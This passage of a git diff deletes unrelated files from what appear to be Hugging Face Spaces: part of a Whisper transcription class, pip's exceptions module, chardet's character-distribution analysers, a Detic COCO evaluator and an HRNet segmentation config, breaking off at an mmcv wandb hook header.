initial_prompt_mode: VadInitialPromptMode = VadInitialPromptMode.PREPREND_FIRST_SEGMENT, - **decodeOptions: dict) -> AbstractWhisperCallback: - """ - Create a WhisperCallback object that can be used to transcript audio files. - - Parameters - ---------- - language: str - The target language of the transcription. If not specified, the language will be inferred from the audio content. - task: str - The task - either translate or transcribe. - initial_prompt: str - The initial prompt to use for the transcription. - initial_prompt_mode: VadInitialPromptMode - The mode to use for the initial prompt. If set to PREPEND_FIRST_SEGMENT, the initial prompt will be prepended to the first segment of audio. - If set to PREPEND_ALL_SEGMENTS, the initial prompt will be prepended to all segments of audio. - decodeOptions: dict - Additional options to pass to the decoder. Must be pickleable. - - Returns - ------- - A WhisperCallback object. - """ - raise NotImplementedError() - - # This is required for multiprocessing - def __getstate__(self): - return { - "model_name": self.model_name, - "device": self.device, - "download_root": self.download_root, - "models": self.models, - "compute_type": self.compute_type - } - - def __setstate__(self, state): - self.model_name = state["model_name"] - self.device = state["device"] - self.download_root = state["download_root"] - self.models = state["models"] - self.compute_type = state["compute_type"] - self.model = None - # Depickled objects must use the global cache - self.cache = GLOBAL_MODEL_CACHE \ No newline at end of file diff --git a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_internal/exceptions.py b/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_internal/exceptions.py deleted file mode 100644 index 2ab1f591f128951f778c90b9347595c03d447572..0000000000000000000000000000000000000000 --- a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_internal/exceptions.py +++ /dev/null @@ -1,660 +0,0 @@ -"""Exceptions used throughout package. - -This module MUST NOT try to import from anything within `pip._internal` to -operate. This is expected to be importable from any/all files within the -subpackage and, thus, should not depend on them. -""" - -import configparser -import re -from itertools import chain, groupby, repeat -from typing import TYPE_CHECKING, Dict, List, Optional, Union - -from pip._vendor.requests.models import Request, Response -from pip._vendor.rich.console import Console, ConsoleOptions, RenderResult -from pip._vendor.rich.markup import escape -from pip._vendor.rich.text import Text - -if TYPE_CHECKING: - from hashlib import _Hash - from typing import Literal - - from pip._internal.metadata import BaseDistribution - from pip._internal.req.req_install import InstallRequirement - - -# -# Scaffolding -# -def _is_kebab_case(s: str) -> bool: - return re.match(r"^[a-z]+(-[a-z]+)*$", s) is not None - - -def _prefix_with_indent( - s: Union[Text, str], - console: Console, - *, - prefix: str, - indent: str, -) -> Text: - if isinstance(s, Text): - text = s - else: - text = console.render_str(s) - - return console.render_str(prefix, overflow="ignore") + console.render_str( - f"\n{indent}", overflow="ignore" - ).join(text.split(allow_blank=True)) - - -class PipError(Exception): - """The base pip error.""" - - -class DiagnosticPipError(PipError): - """An error, that presents diagnostic information to the user. - - This contains a bunch of logic, to enable pretty presentation of our error - messages. Each error gets a unique reference. Each error can also include - additional context, a hint and/or a note -- which are presented with the - main error message in a consistent style. - - This is adapted from the error output styling in `sphinx-theme-builder`. - """ - - reference: str - - def __init__( - self, - *, - kind: 'Literal["error", "warning"]' = "error", - reference: Optional[str] = None, - message: Union[str, Text], - context: Optional[Union[str, Text]], - hint_stmt: Optional[Union[str, Text]], - note_stmt: Optional[Union[str, Text]] = None, - link: Optional[str] = None, - ) -> None: - # Ensure a proper reference is provided. - if reference is None: - assert hasattr(self, "reference"), "error reference not provided!" - reference = self.reference - assert _is_kebab_case(reference), "error reference must be kebab-case!" - - self.kind = kind - self.reference = reference - - self.message = message - self.context = context - - self.note_stmt = note_stmt - self.hint_stmt = hint_stmt - - self.link = link - - super().__init__(f"<{self.__class__.__name__}: {self.reference}>") - - def __repr__(self) -> str: - return ( - f"<{self.__class__.__name__}(" - f"reference={self.reference!r}, " - f"message={self.message!r}, " - f"context={self.context!r}, " - f"note_stmt={self.note_stmt!r}, " - f"hint_stmt={self.hint_stmt!r}" - ")>" - ) - - def __rich_console__( - self, - console: Console, - options: ConsoleOptions, - ) -> RenderResult: - colour = "red" if self.kind == "error" else "yellow" - - yield f"[{colour} bold]{self.kind}[/]: [bold]{self.reference}[/]" - yield "" - - if not options.ascii_only: - # Present the main message, with relevant context indented. - if self.context is not None: - yield _prefix_with_indent( - self.message, - console, - prefix=f"[{colour}]×[/] ", - indent=f"[{colour}]│[/] ", - ) - yield _prefix_with_indent( - self.context, - console, - prefix=f"[{colour}]╰─>[/] ", - indent=f"[{colour}] [/] ", - ) - else: - yield _prefix_with_indent( - self.message, - console, - prefix="[red]×[/] ", - indent=" ", - ) - else: - yield self.message - if self.context is not None: - yield "" - yield self.context - - if self.note_stmt is not None or self.hint_stmt is not None: - yield "" - - if self.note_stmt is not None: - yield _prefix_with_indent( - self.note_stmt, - console, - prefix="[magenta bold]note[/]: ", - indent=" ", - ) - if self.hint_stmt is not None: - yield _prefix_with_indent( - self.hint_stmt, - console, - prefix="[cyan bold]hint[/]: ", - indent=" ", - ) - - if self.link is not None: - yield "" - yield f"Link: {self.link}" - - -# -# Actual Errors -# -class ConfigurationError(PipError): - """General exception in configuration""" - - -class InstallationError(PipError): - """General exception during installation""" - - -class UninstallationError(PipError): - """General exception during uninstallation""" - - -class MissingPyProjectBuildRequires(DiagnosticPipError): - """Raised when pyproject.toml has `build-system`, but no `build-system.requires`.""" - - reference = "missing-pyproject-build-system-requires" - - def __init__(self, *, package: str) -> None: - super().__init__( - message=f"Can not process {escape(package)}", - context=Text( - "This package has an invalid pyproject.toml file.\n" - "The [build-system] table is missing the mandatory `requires` key." - ), - note_stmt="This is an issue with the package mentioned above, not pip.", - hint_stmt=Text("See PEP 518 for the detailed specification."), - ) - - -class InvalidPyProjectBuildRequires(DiagnosticPipError): - """Raised when pyproject.toml an invalid `build-system.requires`.""" - - reference = "invalid-pyproject-build-system-requires" - - def __init__(self, *, package: str, reason: str) -> None: - super().__init__( - message=f"Can not process {escape(package)}", - context=Text( - "This package has an invalid `build-system.requires` key in " - f"pyproject.toml.\n{reason}" - ), - note_stmt="This is an issue with the package mentioned above, not pip.", - hint_stmt=Text("See PEP 518 for the detailed specification."), - ) - - -class NoneMetadataError(PipError): - """Raised when accessing a Distribution's "METADATA" or "PKG-INFO". - - This signifies an inconsistency, when the Distribution claims to have - the metadata file (if not, raise ``FileNotFoundError`` instead), but is - not actually able to produce its content. This may be due to permission - errors. - """ - - def __init__( - self, - dist: "BaseDistribution", - metadata_name: str, - ) -> None: - """ - :param dist: A Distribution object. - :param metadata_name: The name of the metadata being accessed - (can be "METADATA" or "PKG-INFO"). - """ - self.dist = dist - self.metadata_name = metadata_name - - def __str__(self) -> str: - # Use `dist` in the error message because its stringification - # includes more information, like the version and location. - return "None {} metadata found for distribution: {}".format( - self.metadata_name, - self.dist, - ) - - -class UserInstallationInvalid(InstallationError): - """A --user install is requested on an environment without user site.""" - - def __str__(self) -> str: - return "User base directory is not specified" - - -class InvalidSchemeCombination(InstallationError): - def __str__(self) -> str: - before = ", ".join(str(a) for a in self.args[:-1]) - return f"Cannot set {before} and {self.args[-1]} together" - - -class DistributionNotFound(InstallationError): - """Raised when a distribution cannot be found to satisfy a requirement""" - - -class RequirementsFileParseError(InstallationError): - """Raised when a general error occurs parsing a requirements file line.""" - - -class BestVersionAlreadyInstalled(PipError): - """Raised when the most up-to-date version of a package is already - installed.""" - - -class BadCommand(PipError): - """Raised when virtualenv or a command is not found""" - - -class CommandError(PipError): - """Raised when there is an error in command-line arguments""" - - -class PreviousBuildDirError(PipError): - """Raised when there's a previous conflicting build directory""" - - -class NetworkConnectionError(PipError): - """HTTP connection error""" - - def __init__( - self, - error_msg: str, - response: Optional[Response] = None, - request: Optional[Request] = None, - ) -> None: - """ - Initialize NetworkConnectionError with `request` and `response` - objects. - """ - self.response = response - self.request = request - self.error_msg = error_msg - if ( - self.response is not None - and not self.request - and hasattr(response, "request") - ): - self.request = self.response.request - super().__init__(error_msg, response, request) - - def __str__(self) -> str: - return str(self.error_msg) - - -class InvalidWheelFilename(InstallationError): - """Invalid wheel filename.""" - - -class UnsupportedWheel(InstallationError): - """Unsupported wheel.""" - - -class InvalidWheel(InstallationError): - """Invalid (e.g. corrupt) wheel.""" - - def __init__(self, location: str, name: str): - self.location = location - self.name = name - - def __str__(self) -> str: - return f"Wheel '{self.name}' located at {self.location} is invalid." - - -class MetadataInconsistent(InstallationError): - """Built metadata contains inconsistent information. - - This is raised when the metadata contains values (e.g. name and version) - that do not match the information previously obtained from sdist filename, - user-supplied ``#egg=`` value, or an install requirement name. - """ - - def __init__( - self, ireq: "InstallRequirement", field: str, f_val: str, m_val: str - ) -> None: - self.ireq = ireq - self.field = field - self.f_val = f_val - self.m_val = m_val - - def __str__(self) -> str: - return ( - f"Requested {self.ireq} has inconsistent {self.field}: " - f"expected {self.f_val!r}, but metadata has {self.m_val!r}" - ) - - -class LegacyInstallFailure(DiagnosticPipError): - """Error occurred while executing `setup.py install`""" - - reference = "legacy-install-failure" - - def __init__(self, package_details: str) -> None: - super().__init__( - message="Encountered error while trying to install package.", - context=package_details, - hint_stmt="See above for output from the failure.", - note_stmt="This is an issue with the package mentioned above, not pip.", - ) - - -class InstallationSubprocessError(DiagnosticPipError, InstallationError): - """A subprocess call failed.""" - - reference = "subprocess-exited-with-error" - - def __init__( - self, - *, - command_description: str, - exit_code: int, - output_lines: Optional[List[str]], - ) -> None: - if output_lines is None: - output_prompt = Text("See above for output.") - else: - output_prompt = ( - Text.from_markup(f"[red][{len(output_lines)} lines of output][/]\n") - + Text("".join(output_lines)) - + Text.from_markup(R"[red]\[end of output][/]") - ) - - super().__init__( - message=( - f"[green]{escape(command_description)}[/] did not run successfully.\n" - f"exit code: {exit_code}" - ), - context=output_prompt, - hint_stmt=None, - note_stmt=( - "This error originates from a subprocess, and is likely not a " - "problem with pip." - ), - ) - - self.command_description = command_description - self.exit_code = exit_code - - def __str__(self) -> str: - return f"{self.command_description} exited with {self.exit_code}" - - -class MetadataGenerationFailed(InstallationSubprocessError, InstallationError): - reference = "metadata-generation-failed" - - def __init__( - self, - *, - package_details: str, - ) -> None: - super(InstallationSubprocessError, self).__init__( - message="Encountered error while generating package metadata.", - context=escape(package_details), - hint_stmt="See above for details.", - note_stmt="This is an issue with the package mentioned above, not pip.", - ) - - def __str__(self) -> str: - return "metadata generation failed" - - -class HashErrors(InstallationError): - """Multiple HashError instances rolled into one for reporting""" - - def __init__(self) -> None: - self.errors: List["HashError"] = [] - - def append(self, error: "HashError") -> None: - self.errors.append(error) - - def __str__(self) -> str: - lines = [] - self.errors.sort(key=lambda e: e.order) - for cls, errors_of_cls in groupby(self.errors, lambda e: e.__class__): - lines.append(cls.head) - lines.extend(e.body() for e in errors_of_cls) - if lines: - return "\n".join(lines) - return "" - - def __bool__(self) -> bool: - return bool(self.errors) - - -class HashError(InstallationError): - """ - A failure to verify a package against known-good hashes - - :cvar order: An int sorting hash exception classes by difficulty of - recovery (lower being harder), so the user doesn't bother fretting - about unpinned packages when he has deeper issues, like VCS - dependencies, to deal with. Also keeps error reports in a - deterministic order. - :cvar head: A section heading for display above potentially many - exceptions of this kind - :ivar req: The InstallRequirement that triggered this error. This is - pasted on after the exception is instantiated, because it's not - typically available earlier. - - """ - - req: Optional["InstallRequirement"] = None - head = "" - order: int = -1 - - def body(self) -> str: - """Return a summary of me for display under the heading. - - This default implementation simply prints a description of the - triggering requirement. - - :param req: The InstallRequirement that provoked this error, with - its link already populated by the resolver's _populate_link(). - - """ - return f" {self._requirement_name()}" - - def __str__(self) -> str: - return f"{self.head}\n{self.body()}" - - def _requirement_name(self) -> str: - """Return a description of the requirement that triggered me. - - This default implementation returns long description of the req, with - line numbers - - """ - return str(self.req) if self.req else "unknown package" - - -class VcsHashUnsupported(HashError): - """A hash was provided for a version-control-system-based requirement, but - we don't have a method for hashing those.""" - - order = 0 - head = ( - "Can't verify hashes for these requirements because we don't " - "have a way to hash version control repositories:" - ) - - -class DirectoryUrlHashUnsupported(HashError): - """A hash was provided for a version-control-system-based requirement, but - we don't have a method for hashing those.""" - - order = 1 - head = ( - "Can't verify hashes for these file:// requirements because they " - "point to directories:" - ) - - -class HashMissing(HashError): - """A hash was needed for a requirement but is absent.""" - - order = 2 - head = ( - "Hashes are required in --require-hashes mode, but they are " - "missing from some requirements. Here is a list of those " - "requirements along with the hashes their downloaded archives " - "actually had. Add lines like these to your requirements files to " - "prevent tampering. (If you did not enable --require-hashes " - "manually, note that it turns on automatically when any package " - "has a hash.)" - ) - - def __init__(self, gotten_hash: str) -> None: - """ - :param gotten_hash: The hash of the (possibly malicious) archive we - just downloaded - """ - self.gotten_hash = gotten_hash - - def body(self) -> str: - # Dodge circular import. - from pip._internal.utils.hashes import FAVORITE_HASH - - package = None - if self.req: - # In the case of URL-based requirements, display the original URL - # seen in the requirements file rather than the package name, - # so the output can be directly copied into the requirements file. - package = ( - self.req.original_link - if self.req.original_link - # In case someone feeds something downright stupid - # to InstallRequirement's constructor. - else getattr(self.req, "req", None) - ) - return " {} --hash={}:{}".format( - package or "unknown package", FAVORITE_HASH, self.gotten_hash - ) - - -class HashUnpinned(HashError): - """A requirement had a hash specified but was not pinned to a specific - version.""" - - order = 3 - head = ( - "In --require-hashes mode, all requirements must have their " - "versions pinned with ==. These do not:" - ) - - -class HashMismatch(HashError): - """ - Distribution file hash values don't match. - - :ivar package_name: The name of the package that triggered the hash - mismatch. Feel free to write to this after the exception is raise to - improve its error message. - - """ - - order = 4 - head = ( - "THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS " - "FILE. If you have updated the package versions, please update " - "the hashes. Otherwise, examine the package contents carefully; " - "someone may have tampered with them." - ) - - def __init__(self, allowed: Dict[str, List[str]], gots: Dict[str, "_Hash"]) -> None: - """ - :param allowed: A dict of algorithm names pointing to lists of allowed - hex digests - :param gots: A dict of algorithm names pointing to hashes we - actually got from the files under suspicion - """ - self.allowed = allowed - self.gots = gots - - def body(self) -> str: - return " {}:\n{}".format(self._requirement_name(), self._hash_comparison()) - - def _hash_comparison(self) -> str: - """ - Return a comparison of actual and expected hash values. - - Example:: - - Expected sha256 abcdeabcdeabcdeabcdeabcdeabcdeabcdeabcdeabcde - or 123451234512345123451234512345123451234512345 - Got bcdefbcdefbcdefbcdefbcdefbcdefbcdefbcdefbcdef - - """ - - def hash_then_or(hash_name: str) -> "chain[str]": - # For now, all the decent hashes have 6-char names, so we can get - # away with hard-coding space literals. - return chain([hash_name], repeat(" or")) - - lines: List[str] = [] - for hash_name, expecteds in self.allowed.items(): - prefix = hash_then_or(hash_name) - lines.extend( - (" Expected {} {}".format(next(prefix), e)) for e in expecteds - ) - lines.append( - " Got {}\n".format(self.gots[hash_name].hexdigest()) - ) - return "\n".join(lines) - - -class UnsupportedPythonVersion(InstallationError): - """Unsupported python version according to Requires-Python package - metadata.""" - - -class ConfigurationFileCouldNotBeLoaded(ConfigurationError): - """When there are errors while loading a configuration file""" - - def __init__( - self, - reason: str = "could not be loaded", - fname: Optional[str] = None, - error: Optional[configparser.Error] = None, - ) -> None: - super().__init__(error) - self.reason = reason - self.fname = fname - self.error = error - - def __str__(self) -> str: - if self.fname is not None: - message_part = f" in {self.fname}." - else: - assert self.error is not None - message_part = f".\n{self.error}\n" - return f"Configuration file {self.reason}{message_part}" diff --git a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/chardet/chardistribution.py b/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/chardet/chardistribution.py deleted file mode 100644 index 27b4a293911de909c4cb955e671059e40d94e4d4..0000000000000000000000000000000000000000 --- a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/chardet/chardistribution.py +++ /dev/null @@ -1,259 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from .big5freq import ( - BIG5_CHAR_TO_FREQ_ORDER, - BIG5_TABLE_SIZE, - BIG5_TYPICAL_DISTRIBUTION_RATIO, -) -from .euckrfreq import ( - EUCKR_CHAR_TO_FREQ_ORDER, - EUCKR_TABLE_SIZE, - EUCKR_TYPICAL_DISTRIBUTION_RATIO, -) -from .euctwfreq import ( - EUCTW_CHAR_TO_FREQ_ORDER, - EUCTW_TABLE_SIZE, - EUCTW_TYPICAL_DISTRIBUTION_RATIO, -) -from .gb2312freq import ( - GB2312_CHAR_TO_FREQ_ORDER, - GB2312_TABLE_SIZE, - GB2312_TYPICAL_DISTRIBUTION_RATIO, -) -from .jisfreq import ( - JIS_CHAR_TO_FREQ_ORDER, - JIS_TABLE_SIZE, - JIS_TYPICAL_DISTRIBUTION_RATIO, -) -from .johabfreq import JOHAB_TO_EUCKR_ORDER_TABLE - - -class CharDistributionAnalysis: - ENOUGH_DATA_THRESHOLD = 1024 - SURE_YES = 0.99 - SURE_NO = 0.01 - MINIMUM_DATA_THRESHOLD = 3 - - def __init__(self): - # Mapping table to get frequency order from char order (get from - # GetOrder()) - self._char_to_freq_order = tuple() - self._table_size = None # Size of above table - # This is a constant value which varies from language to language, - # used in calculating confidence. See - # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html - # for further detail. - self.typical_distribution_ratio = None - self._done = None - self._total_chars = None - self._freq_chars = None - self.reset() - - def reset(self): - """reset analyser, clear any state""" - # If this flag is set to True, detection is done and conclusion has - # been made - self._done = False - self._total_chars = 0 # Total characters encountered - # The number of characters whose frequency order is less than 512 - self._freq_chars = 0 - - def feed(self, char, char_len): - """feed a character with known length""" - if char_len == 2: - # we only care about 2-bytes character in our distribution analysis - order = self.get_order(char) - else: - order = -1 - if order >= 0: - self._total_chars += 1 - # order is valid - if order < self._table_size: - if 512 > self._char_to_freq_order[order]: - self._freq_chars += 1 - - def get_confidence(self): - """return confidence based on existing data""" - # if we didn't receive any character in our consideration range, - # return negative answer - if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: - return self.SURE_NO - - if self._total_chars != self._freq_chars: - r = self._freq_chars / ( - (self._total_chars - self._freq_chars) * self.typical_distribution_ratio - ) - if r < self.SURE_YES: - return r - - # normalize confidence (we don't want to be 100% sure) - return self.SURE_YES - - def got_enough_data(self): - # It is not necessary to receive all data to draw conclusion. - # For charset detection, certain amount of data is enough - return self._total_chars > self.ENOUGH_DATA_THRESHOLD - - def get_order(self, _): - # We do not handle characters based on the original encoding string, - # but convert this encoding string to a number, here called order. - # This allows multiple encodings of a language to share one frequency - # table. - return -1 - - -class EUCTWDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER - self._table_size = EUCTW_TABLE_SIZE - self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for euc-TW encoding, we are interested - # first byte range: 0xc4 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - first_char = byte_str[0] - if first_char >= 0xC4: - return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 - return -1 - - -class EUCKRDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER - self._table_size = EUCKR_TABLE_SIZE - self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for euc-KR encoding, we are interested - # first byte range: 0xb0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - first_char = byte_str[0] - if first_char >= 0xB0: - return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 - return -1 - - -class JOHABDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER - self._table_size = EUCKR_TABLE_SIZE - self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - first_char = byte_str[0] - if 0x88 <= first_char < 0xD4: - code = first_char * 256 + byte_str[1] - return JOHAB_TO_EUCKR_ORDER_TABLE.get(code, -1) - return -1 - - -class GB2312DistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER - self._table_size = GB2312_TABLE_SIZE - self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for GB2312 encoding, we are interested - # first byte range: 0xb0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - first_char, second_char = byte_str[0], byte_str[1] - if (first_char >= 0xB0) and (second_char >= 0xA1): - return 94 * (first_char - 0xB0) + second_char - 0xA1 - return -1 - - -class Big5DistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER - self._table_size = BIG5_TABLE_SIZE - self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for big5 encoding, we are interested - # first byte range: 0xa4 -- 0xfe - # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe - # no validation needed here. State machine has done that - first_char, second_char = byte_str[0], byte_str[1] - if first_char >= 0xA4: - if second_char >= 0xA1: - return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 - return 157 * (first_char - 0xA4) + second_char - 0x40 - return -1 - - -class SJISDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER - self._table_size = JIS_TABLE_SIZE - self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for sjis encoding, we are interested - # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe - # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe - # no validation needed here. State machine has done that - first_char, second_char = byte_str[0], byte_str[1] - if 0x81 <= first_char <= 0x9F: - order = 188 * (first_char - 0x81) - elif 0xE0 <= first_char <= 0xEF: - order = 188 * (first_char - 0xE0 + 31) - else: - return -1 - order = order + second_char - 0x40 - if second_char > 0x7F: - order = -1 - return order - - -class EUCJPDistributionAnalysis(CharDistributionAnalysis): - def __init__(self): - super().__init__() - self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER - self._table_size = JIS_TABLE_SIZE - self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO - - def get_order(self, byte_str): - # for euc-JP encoding, we are interested - # first byte range: 0xa0 -- 0xfe - # second byte range: 0xa1 -- 0xfe - # no validation needed here. State machine has done that - char = byte_str[0] - if char >= 0xA0: - return 94 * (char - 0xA1) + byte_str[1] - 0xA1 - return -1 diff --git a/spaces/Rbrq/DeticChatGPT/detic/evaluation/custom_coco_eval.py b/spaces/Rbrq/DeticChatGPT/detic/evaluation/custom_coco_eval.py deleted file mode 100644 index 2ea1d5e5703a9922028178fbe87b2518a9f66683..0000000000000000000000000000000000000000 --- a/spaces/Rbrq/DeticChatGPT/detic/evaluation/custom_coco_eval.py +++ /dev/null @@ -1,124 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import contextlib -import copy -import io -import itertools -import json -import logging -import numpy as np -import os -import pickle -from collections import OrderedDict -import pycocotools.mask as mask_util -import torch -from pycocotools.coco import COCO -from pycocotools.cocoeval import COCOeval -from tabulate import tabulate - -import detectron2.utils.comm as comm -from detectron2.config import CfgNode -from detectron2.data import MetadataCatalog -from detectron2.data.datasets.coco import convert_to_coco_json -from detectron2.evaluation.coco_evaluation import COCOEvaluator -from detectron2.structures import Boxes, BoxMode, pairwise_iou -from detectron2.utils.file_io import PathManager -from detectron2.utils.logger import create_small_table -from ..data.datasets.coco_zeroshot import categories_seen, categories_unseen - -class CustomCOCOEvaluator(COCOEvaluator): - def _derive_coco_results(self, coco_eval, iou_type, class_names=None): - """ - Additionally plot mAP for 'seen classes' and 'unseen classes' - """ - - metrics = { - "bbox": ["AP", "AP50", "AP75", "APs", "APm", "APl"], - "segm": ["AP", "AP50", "AP75", "APs", "APm", "APl"], - "keypoints": ["AP", "AP50", "AP75", "APm", "APl"], - }[iou_type] - - if coco_eval is None: - self._logger.warn("No predictions from the model!") - return {metric: float("nan") for metric in metrics} - - # the standard metrics - results = { - metric: float(coco_eval.stats[idx] * 100 if coco_eval.stats[idx] >= 0 else "nan") - for idx, metric in enumerate(metrics) - } - self._logger.info( - "Evaluation results for {}: \n".format(iou_type) + create_small_table(results) - ) - if not np.isfinite(sum(results.values())): - self._logger.info("Some metrics cannot be computed and is shown as NaN.") - - if class_names is None or len(class_names) <= 1: - return results - # Compute per-category AP - # from https://github.com/facebookresearch/Detectron/blob/a6a835f5b8208c45d0dce217ce9bbda915f44df7/detectron/datasets/json_dataset_evaluator.py#L222-L252 # noqa - precisions = coco_eval.eval["precision"] - # precision has dims (iou, recall, cls, area range, max dets) - assert len(class_names) == precisions.shape[2] - - seen_names = set([x['name'] for x in categories_seen]) - unseen_names = set([x['name'] for x in categories_unseen]) - results_per_category = [] - results_per_category50 = [] - results_per_category50_seen = [] - results_per_category50_unseen = [] - for idx, name in enumerate(class_names): - # area range index 0: all area ranges - # max dets index -1: typically 100 per image - precision = precisions[:, :, idx, 0, -1] - precision = precision[precision > -1] - ap = np.mean(precision) if precision.size else float("nan") - results_per_category.append(("{}".format(name), float(ap * 100))) - precision50 = precisions[0, :, idx, 0, -1] - precision50 = precision50[precision50 > -1] - ap50 = np.mean(precision50) if precision50.size else float("nan") - results_per_category50.append(("{}".format(name), float(ap50 * 100))) - if name in seen_names: - results_per_category50_seen.append(float(ap50 * 100)) - if name in unseen_names: - results_per_category50_unseen.append(float(ap50 * 100)) - - # tabulate it - N_COLS = min(6, len(results_per_category) * 2) - results_flatten = list(itertools.chain(*results_per_category)) - results_2d = itertools.zip_longest(*[results_flatten[i::N_COLS] for i in range(N_COLS)]) - table = tabulate( - results_2d, - tablefmt="pipe", - floatfmt=".3f", - headers=["category", "AP"] * (N_COLS // 2), - numalign="left", - ) - self._logger.info("Per-category {} AP: \n".format(iou_type) + table) - - - N_COLS = min(6, len(results_per_category50) * 2) - results_flatten = list(itertools.chain(*results_per_category50)) - results_2d = itertools.zip_longest(*[results_flatten[i::N_COLS] for i in range(N_COLS)]) - table = tabulate( - results_2d, - tablefmt="pipe", - floatfmt=".3f", - headers=["category", "AP50"] * (N_COLS // 2), - numalign="left", - ) - self._logger.info("Per-category {} AP50: \n".format(iou_type) + table) - self._logger.info( - "Seen {} AP50: {}".format( - iou_type, - sum(results_per_category50_seen) / len(results_per_category50_seen), - )) - self._logger.info( - "Unseen {} AP50: {}".format( - iou_type, - sum(results_per_category50_unseen) / len(results_per_category50_unseen), - )) - - results.update({"AP-" + name: ap for name, ap in results_per_category}) - results["AP50-seen"] = sum(results_per_category50_seen) / len(results_per_category50_seen) - results["AP50-unseen"] = sum(results_per_category50_unseen) / len(results_per_category50_unseen) - return results \ No newline at end of file diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer/configs/_base_/models/fcn_hr18.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer/configs/_base_/models/fcn_hr18.py deleted file mode 100644 index c3e299bc89ada56ca14bbffcbdb08a586b8ed9e9..0000000000000000000000000000000000000000 --- a/spaces/Robert001/UniControl-Demo/annotator/uniformer/configs/_base_/models/fcn_hr18.py +++ /dev/null @@ -1,52 +0,0 @@ -# model settings -norm_cfg = dict(type='SyncBN', requires_grad=True) -model = dict( - type='EncoderDecoder', - pretrained='open-mmlab://msra/hrnetv2_w18', - backbone=dict( - type='HRNet', - norm_cfg=norm_cfg, - norm_eval=False, - extra=dict( - stage1=dict( - num_modules=1, - num_branches=1, - block='BOTTLENECK', - num_blocks=(4, ), - num_channels=(64, )), - stage2=dict( - num_modules=1, - num_branches=2, - block='BASIC', - num_blocks=(4, 4), - num_channels=(18, 36)), - stage3=dict( - num_modules=4, - num_branches=3, - block='BASIC', - num_blocks=(4, 4, 4), - num_channels=(18, 36, 72)), - stage4=dict( - num_modules=3, - num_branches=4, - block='BASIC', - num_blocks=(4, 4, 4, 4), - num_channels=(18, 36, 72, 144)))), - decode_head=dict( - type='FCNHead', - in_channels=[18, 36, 72, 144], - in_index=(0, 1, 2, 3), - channels=sum([18, 36, 72, 144]), - input_transform='resize_concat', - kernel_size=1, - num_convs=1, - concat_input=False, - dropout_ratio=-1, - num_classes=19, - norm_cfg=norm_cfg, - align_corners=False, - loss_decode=dict( - type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)), - # model training and testing settings - train_cfg=dict(), - test_cfg=dict(mode='whole')) diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/runner/hooks/logger/wandb.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/runner/hooks/logger/wandb.py deleted file mode 100644 index 9f6808462eb79ab2b04806a5d9f0d3dd079b5ea9..0000000000000000000000000000000000000000 --- 